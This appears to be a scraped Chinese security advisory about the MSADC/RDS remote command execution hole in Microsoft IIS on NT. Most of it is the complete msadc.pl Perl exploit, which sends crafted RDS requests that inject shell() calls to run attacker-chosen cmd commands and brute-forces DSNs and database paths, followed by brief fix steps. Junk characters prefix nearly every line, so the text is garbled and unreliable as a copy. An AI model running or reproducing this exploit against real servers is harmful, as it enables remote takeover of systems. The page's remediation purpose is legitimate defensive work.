IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&;*j Mu6 z$S)|6Q
涉及程序：
zQ5'q Microsoft NT server
BQ &|=a6 !,|yrB&`S 描述：
-2bu`oD
` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]iY j S `WX @1 ]m 详细：
tP7l
;EX4 如果你没有时间读详细内容的话，就删除:
@G^
l`% c:\Program Files\Common Files\System\Msadc\msadcs.dll
1dHN< xy 有关的安全问题就没有了。
*7`;{O ub7|'+5 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
jDOB (fE 4E<iIA\x 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
RCg Z GP 关于利用ODBC远程漏洞的描述，请参看:
I 6X_DPY 1s/t}J~zZ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c |IH | y %h( J+_"L6 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Xw_AZ-|1D http://www.microsoft.com/security/bulletins/MS99-025faq.asp w+z~Mz}Vz yC(xi"! 这里不再论述。
E.zY(# S o@XhL9 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Fe{lM'
8 A )tGB& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Hj2E -RwG 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
r[ ni{ & 0X !A' ..)O/g . #将下面这段保存为txt文件，然后: "perl -x 文件名"
F4 `ud; 1H NI,i)OSEN #!perl
tHgu#k0 #
l`>|XUf6 # MSADC/RDS 'usage' (aka exploit) script
o'+p,_y9Y@ #
bwG$\Oe6 # by rain.forest.puppy
ckykRqk} #
R6v~Sy&n! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Utd`T+AF* # beta test and find errors!
ps[ HvV" R6eKI,y\" use Socket; use Getopt::Std;
Qqm'Yom%T getopts("e:vd:h:XR", \%args);
' d' D lg sVWOh|O[W print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
g3B%}!| __LR!F]=i if (!defined $args{h} && !defined $args{R}) {
rvfS[@>v print qq~
rr~O6Db Usage: msadc.pl -h <host> { -d <delay> -X -v }
" {>BP$Jz -h <host> = host you want to scan (ip or domain)
8vR Q_ -d <seconds> = delay between calls, default 1 second
x
*:v]6y -X = dump Index Server path table, if available
^__';! e -v = verbose
GO4IAUA -e = external dictionary file for step 5
pUF$Nq>og :O)\+s- Or a -R will resume a command session
5! -+5TJI inQ1 $ ~; exit;}
n4Xh}KtH V?t56n Y} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Q 8|
C>$n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
KJ (|skO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Q%>6u@' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}B1f_T $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
f^Io:V\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+6~ut^YiM. OKi}aQ2R* if (!defined $args{R}){ $ret = &has_msadc;
n Nu~ )X die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z; 6N 7 U p ; ]Qxh print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?COLjk . "cmd /c ";
^ruz-N^Y! $in=<STDIN>; chomp $in;
-sqd?L.p $command="cmd /c " . $in ;
#M ;j*IBl* yRAfIB$T}" if (defined $args{R}) {&load; exit;}
"50 c<sZSB n?(sn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@oKW$\ &try_btcustmr;
&TT vX% T 3-Bz5sj9 print "\nStep 2: Trying to make our own DSN...";
^vw[z2" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
HkPdqNC& 0<FT=tKm print "\nStep 3: Trying known DSNs...";
u~8=ik n+T &known_dsn;
7TW&=( (&i
c3/- print "\nStep 4: Trying known .mdbs...";
`c)[aP{vN &known_mdb;
DFMf" _p =Jax T90x if (defined $args{e}){
: @4+ } print "\nStep 5: Trying dictionary of DSN names...";
Ak kth*p &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
kD46Le++B .QW@rV:T print "Sorry Charley...maybe next time?\n";
f
= 'AI exit;
PR3i }y> 5fq 4[a ##############################################################################
X=@bzL;eq =d BK,/ sub sendraw { # ripped and modded from whisker
%bp'`B= sleep($delay); # it's a DoS on the server! At least on mine...
"_0sW3rG my ($pstr)=@_;
"cwvx8un socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
eGW
h]% die("Socket problems\n");
*+TO% {4 if(connect(S,pack "SnA4x8",2,80,$target)){
tISb' ^T select(S); $|=1;
ly`\TnC print $pstr; my @in=<S>;
nx Jx 8d" select(STDOUT); close(S);
{nMCU{*k return @in;
.npD<* } else { die("Can't connect...\n"); }}
GdM|?u&s" Gs/G_E(T ##############################################################################
q*<FfO=eQ gI/ S A sub make_header { # make the HTTP request
j 9/hZqo my $msadc=<<EOT
?aQVaw&L!7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
+h? Gps User-Agent: ACTIVEDATA
8dh ?JqX Host: $ip
=d$m@rc0r Content-Length: $clen
Y,m=&U Connection: Keep-Alive
^7Ebg5< ~zoZ{YqP ADCClientVersion:01.06
4}t$Lf_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`j4OKZ W b5n> * --!ADM!ROX!YOUR!WORLD!
Q sPZ dC Content-Type: application/x-varg
-n:;/ere7- Content-Length: $reqlen
3F9 dr@I.7 K_Kz8qV.? EOT
To;r#h ; $msadc=~s/\n/\r\n/g;
Ow {NI-^K return $msadc;}
|ADg#oX xf;Tk ##############################################################################
Hv*+HUc(: :n OCs sub make_req { # make the RDS request
v<ati c my ($switch, $p1, $p2)=@_;
l]L"Ex{ my $req=""; my $t1, $t2, $query, $dsn;
8# | PJc $*j)ey> if ($switch==1){ # this is the btcustmr.mdb query
z>HM$n`YD $query="Select * from Customers where City=" . make_shell();
BSY7un+`: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'DUY f5nF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
*>T@3G.{Rm Nkx W*w%}l elsif ($switch==2){ # this is general make table query
?:7.3{|Aq $query="create table AZZ (B int, C varchar(10))";
% O*)'ni
$dsn="$p1";}
([NS% #Wt1Ph_; elsif ($switch==3){ # this is general exploit table query
} DjbVYH $query="select * from AZZ where C=" . make_shell();
7G%^8
ce{! $dsn="$p1";}
8* sP }q)dXFL=I# elsif ($switch==4){ # attempt to hork file info from index server
Sj;:*jk!h $query="select path from scope()";
i+|/V& #3[ $dsn="Provider=MSIDXS;";}
fK4NmdTV Zb2.o5#} elsif ($switch==5){ # bad query
qbo
W<W<H1 $query="select";
,Z(J; ~ $dsn="$p1";}
% `j2?rn dLw,dg
$t1= make_unicode($query);
Zv8G[( $t2= make_unicode($dsn);
$kh6-y@ $req = "\x02\x00\x03\x00";
`%.x0~ ih $req.= "\x08\x00" . pack ("S1", length($t1));
/&RS+By(i $req.= "\x00\x00" . $t1 ;
!%'c$U2 $req.= "\x08\x00" . pack ("S1", length($t2));
FD^s5>"Y+ $req.= "\x00\x00" . $t2 ;
jxZd
=%7Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&Fl* , return $req;}
T0BM:ofx ANd#m9(x ##############################################################################
B3yp2tncj k^\>=JTq= sub make_shell { # this makes the shell() statement
] dHV^! return "'|shell(\"$command\")|'";}
**Q
K}j[D z.*=3 ##############################################################################
3qq 6X?y* ]|/\Sd sub make_unicode { # quick little function to convert to unicode
R^GLATM my ($in)=@_; my $out;
u )KtvC! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
% I;iP|/ return $out;}
3EX4 1)u }'Yk#Q ##############################################################################
+#g?rCz }t.VH:02y sub rdo_success { # checks for RDO return success (this is kludge)
M2y"M ,k4 my (@in) = @_; my $base=content_start(@in);
/yL:_6c- if($in[$base]=~/multipart\/mixed/){
b+mh9q'5E return 1 if( $in[$base+10]=~/^\x09\x00/ );}
44_CT?t< return 0;}
YGr^uTQb J S! ##############################################################################
m_r_4 BP %-~T;_. sub make_dsn { # this makes a DSN for us
&B>YiA my @drives=("c","d","e","f");
"K-2y ^Dl print "\nMaking DSN: ";
R(F+Xg je foreach $drive (@drives) {
#[ hJ m'G print "$drive: ";
U)gr C8 C my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
b7? 2Pu "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
*27*&&=)H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`Hq)g1a7q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
gDjs:]/YR return 0 if $2 eq "404"; # not found/doesn't exist
oyY0!w,Y if($2 eq "200") {
\%N |
X foreach $line (@results) {
\!,@p e_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
bol #[_~ } return 0;}
N5:muh
\
@}@J$ g ##############################################################################
f ") *I @AU<'?k sub verify_exists {
:]oR x my ($page)=@_;
=e$6o 2!'} my @results=sendraw("GET $page HTTP/1.0\n\n");
naoH 685R4 return $results[0];}
= A;B-_c 1V37%
D ##############################################################################
|KxFi H ^UAL5}CQt sub try_btcustmr {
T5+iX`#M my @drives=("c","d","e","f");
Q1?G 7g]N my @dirs=("winnt","winnt35","winnt351","win","windows");
0cm+: 30v 3C7o= foreach $dir (@dirs) {
}$ZcC_ print "$dir -> "; # fun status so you can see progress
RuHM D" foreach $drive (@drives) {
+\a`:QET print "$drive: "; # ditto
h[0,/`qb{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#c ndq[H $reqlenlen=length( "$reqlen" );
.Z"p'v $clen= 206 + $reqlenlen + $reqlen;
Zom7yI 3+2&@ :$t my @results=sendraw(make_header() . make_req(1,$drive,$dir));
&k+'TcWm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
6 KD else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
t%n3~i4X: (&G4@V d ##############################################################################
{^xp?zpV 4S]`S\w sub odbc_error {
ddMSiwbY) my (@in)=@_; my $base;
^p0BeSRiy; my $base = content_start(@in);
pA*cF!tq 7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
: qKx m( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5]&vs!wH $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qd B@P $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VR/>V7*7@ return $in[$base+4].$in[$base+5].$in[$base+6];}
Gv!*
Qk4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>y&4gm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
s|U ?{Byb! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
#qk A*WP s e9X ##############################################################################
f.`noZN qF{u+M s sub verbose {
T3o}%wGW my ($in)=@_;
J>P{8Aw return if !$verbose;
x8 sSb:N print STDOUT "\n$in\n";}
JBCcR,\kM* /! kKL$j ##############################################################################
Y" s1z<? mJu;B3@
sub save {
W^W^5-'"D, my ($p1, $p2, $p3, $p4)=@_;
J(0.eD91v open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t]Xdzy print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
xV'\2n=1T close OUT;}
zLlu% Oc A-O@e
e ##############################################################################
4 }{HRs? .N99=%[}h sub load {
xn&G` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
'w`:p {E open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#;Y JR9VN @p=<IN>; close(IN);
nJ#uz: (w, $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/ a\6&Eb $target= inet_aton($ip) || die("inet_aton problems");
/a%5!)NE% print "Resuming to $ip ...";
E8WOXoP( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
UfEF>@0 if($p[1]==1) {
B ~cQl $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?k~(E`ZE3 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
lkK+Fm my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
K v C`6 if (rdo_success(@results)){print "Success!\n";}
{T
Z7 >k else { print "failed\n"; verbose(odbc_error(@results));}}
Y&aFAjj elsif ($p[1]==3){
.N8AkQ (Ok if(run_query("$p[3]")){
Ql> DS~a print "Success!\n";} else { print "failed\n"; }}
k7Fa+Y)K7 elsif ($p[1]==4){
I|JMkP if(run_query($drvst . "$p[3]")){
F_=RY ] print "Success!\n"; } else { print "failed\n"; }}
G}Cze Lw exit;}
sTO * Uu{I4ls6B ##############################################################################
IMjnj|Fj h8oG5 |Y sub create_table {
<Brq7:n| my ($in)=@_;
5Ya TE<G $reqlen=length( make_req(2,$in,"") ) - 28;
PD12gUU? $reqlenlen=length( "$reqlen" );
q4<3 O"c1 $clen= 206 + $reqlenlen + $reqlen;
L5E.`^ ? my @results=sendraw(make_header() . make_req(2,$in,""));
_h!OGLec return 1 if rdo_success(@results);
Jz
s.) my $temp= odbc_error(@results); verbose($temp);
*,~ d!Fc return 1 if $temp=~/Table 'AZZ' already exists/;
d6-a\]gF return 0;}
y]aV7
`] |B njT*_9 ##############################################################################
ps"DL4* ./LD sub known_dsn {
2e zQX2q # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=vMFCp;mv my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
f n
)m$\2 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
nVV>;e[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
o ^L 3Xiv Eym<DPu$n foreach $dSn (@dsns) {
[s$vY~_ print ".";
@F KNB.> next if (!is_access("DSN=$dSn"));
x):cirwkl if(create_table("DSN=$dSn")){
r k;k:<c print "$dSn successful\n";
yTwv2l;U if(run_query("DSN=$dSn")){
.t''(0_kC print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NS @j`6/U print "Something's borked. Use verbose next time\n";}}} print "\n";}
EV|
6._Z(D "5u*C#T2$ ##############################################################################
5 G cdz qc\]~]H]r sub is_access {
2`I"
QU my ($in)=@_;
MZ
o\1tU-i $reqlen=length( make_req(5,$in,"") ) - 28;
n=l>d#}$%T $reqlenlen=length( "$reqlen" );
s~$ZTzV $clen= 206 + $reqlenlen + $reqlen;
L5! aLv# my @results=sendraw(make_header() . make_req(5,$in,""));
.5'M^ my $temp= odbc_error(@results);
`P<}MeJ\l verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(:Rj:8{ return 0;}
w~hO)1c],: ED&>~~k) ##############################################################################
g-"@%ps FuiG=q uY sub run_query {
2{Nv&ZX? my ($in)=@_;
M eo(|U $reqlen=length( make_req(3,$in,"") ) - 28;
oBiJiPE=` $reqlenlen=length( "$reqlen" );
Nw[T P
G5 $clen= 206 + $reqlenlen + $reqlen;
GZ,`? my @results=sendraw(make_header() . make_req(3,$in,""));
#qY`xH'> return 1 if rdo_success(@results);
T Z{';o U my $temp= odbc_error(@results); verbose($temp);
5xe } ljo return 0;}
L,c@Z @ @S\!wjl]C ##############################################################################
68JYA? ste0:.*qb sub known_mdb {
:,%~R2 my @drives=("c","d","e","f","g");
fTd= }zY my @dirs=("winnt","winnt35","winnt351","win","windows");
b{JcV my $dir, $drive, $mdb;
7p*PDoM6` my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}A,9` @ -CZa^g # this is sparse, because I don't know of many
QG
{KEj2V my @sysmdbs=( "\\catroot\\icatalog.mdb",
#&<>|m "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(~ro_WC/I "\\system32\\certmdb.mdb",
z5`AJrj% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
N\{Xhr7d 5<ZE.' O my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.anXsjD%W "\\cfusion\\cfapps\\forums\\forums_.mdb",
x 6Zhw9RV "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
tb3 6c<U- "\\cfusion\\cfapps\\security\\realm_.mdb",
c-1,((p "\\cfusion\\cfapps\\security\\data\\realm.mdb",
D*.U? "\\cfusion\\database\\cfexamples.mdb",
j<|I @0 "\\cfusion\\database\\cfsnippets.mdb",
{2"8^; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
a rt
L "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
UW%zR5q "\\cfusion\\brighttiger\\database\\cleam.mdb",
8h"Val|qP "\\cfusion\\database\\smpolicy.mdb",
ZLm?8g6- "\\cfusion\\database\cypress.mdb",
%;S T7 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
*|W S, "\\website\\cgi-win\\dbsample.mdb",
CqK&J
/8 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qj|P0N {7 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
S&(MR%". ); #these are just
iQs^2z#Bd foreach $drive (@drives) {
tNpBRk(} foreach $dir (@dirs){
2OT
RP4U foreach $mdb (@sysmdbs) {
2tPW1"M.n print ".";
; '6`hZ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Z*uv~0a>9Q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0Va+ l)F if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Az Fd#P print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
].ZfTrM] } else { print "Something's borked. Use verbose next time\n"; }}}}}
7\(m n$ Hwb+@' o foreach $drive (@drives) {
E3..$x-/ foreach $mdb (@mdbs) {
U'4 j+vUc print ".";
1,Ams if(create_table($drv . $drive . $dir . $mdb)){
arVu`pD*n print "\n" . $drive . $dir . $mdb . " successful\n";
gR5
EK$ if(run_query($drv . $drive . $dir . $mdb)){
P ? ^h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`G /%U~ } else { print "Something's borked. Use verbose next time\n"; }}}}
v@,n ]" }
{L6 @d1u |h^[/ ##############################################################################
8Dy 5g Kd='l~rby sub hork_idx {
{"v~1W) print "\nAttempting to dump Index Server tables...\n";
nR %ey" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
F S'|e?WU $reqlen=length( make_req(4,"","") ) - 28;
I1f4u6\*X $reqlenlen=length( "$reqlen" );
5r2A ^<) $clen= 206 + $reqlenlen + $reqlen;
/$[9- G? my @results=sendraw2(make_header() . make_req(4,"",""));
;- 0
d 2Z if (rdo_success(@results)){
=Ff _)k
my $max=@results; my $c; my %d;
nj1TX for($c=19; $c<$max; $c++){
5S9i>B $results[$c]=~s/\x00//g;
_BFDsQ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
mV>l`&K= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
c/6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
F o k % $d{"$1$2"}="";}
}yzCq+ foreach $c (keys %d){ print "$c\n"; }
k3PFCl~e } else {print "Index server doesn't seem to be installed.\n"; }}
)tvP| C (%b!Q,2 ##############################################################################
#Vy8<Vy&w \k4em{K sub dsn_dict {
XJZ\ ss open(IN, "<$args{e}") || die("Can't open external dictionary\n");
a Fh9B\n while(<IN>){
G-6k[-@-v $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!-veL1r next if (!is_access("DSN=$dSn"));
+,Ud 3 iS if(create_table("DSN=$dSn")){
9}|x
N8 print "$dSn successful\n";
\V(w= if(run_query("DSN=$dSn")){
)5[OG7/g print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T)Y{>wT print "Something's borked. Use verbose next time\n";}}}
\; vo BU print "\n"; close(IN);}
&wa2MNCG8 5r1u_8)' ##############################################################################
%O|+` " ;x|7"lE sub sendraw2 { # ripped and modded from whisker
3<x1s2U sleep($delay); # it's a DoS on the server! At least on mine...
0f5c#/7C9 my ($pstr)=@_;
1j*E/L socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Nov)'2g7G die("Socket problems\n");
`nCVO;B if(connect(S,pack "SnA4x8",2,80,$target)){
Y'^+ KU print "Connected. Getting data";
J))U YJ O open(OUT,">raw.out"); my @in;
'NNfzh select(S); $|=1; print $pstr;
_. &N@k while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ge4Qa K close(OUT); select(STDOUT); close(S); return @in;
Pi hpo } else { die("Can't connect...\n"); }}
HfPu~P H? _wsh4J ##############################################################################
M <nH tfCK^{ sub content_start { # this will take in the server headers
G,}"}v: my (@in)=@_; my $c;
TCR|wi]
kW for ($c=1;$c<500;$c++) {
z* )kK if($in[$c] =~/^\x0d\x0a/){
*.6m,QqJ( if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+>ld else { return $c+1; }}}
hLr\;Swyp return -1;} # it should never get here actually
Aw] kQ\P& Y s0N+ ##############################################################################
mb>8=hMg r+!29 sub funky {
gtnu/ Q my (@in)=@_; my $error=odbc_error(@in);
I8/tD|3 if($error=~/ADO could not find the specified provider/){
`^HK-t4q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
/5Sd?pW; exit;}
aH_0EBRc if($error=~/A Handler is required/){
qg2Vmj<H print "\nServer has custom handler filters (they most likely are patched)\n";
R2A#2{+H exit;}
Gl%N}8Cim if($error=~/specified Handler has denied Access/){
>QdT 7gB print "\nServer has custom handler filters (they most likely are patched)\n";
NRT@"3,1YP exit;}}
q?qH7={,eu 3T/& T`T+c ##############################################################################
&I:ZJuQ4 h=4 GSU sub has_msadc {
r&+w)U~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%NDr5E^cc my $base=content_start(@results);
@ qS Z= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
3lTnfc& return 0;}
J@O K"%12 #5=W[+4eN ########################
*c>B-Fo/D V`8\)FFG '6cXCO-_P 解决方案：
I+,C iJ|4 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"A> _U<Y 2、移除web 目录: /msadc
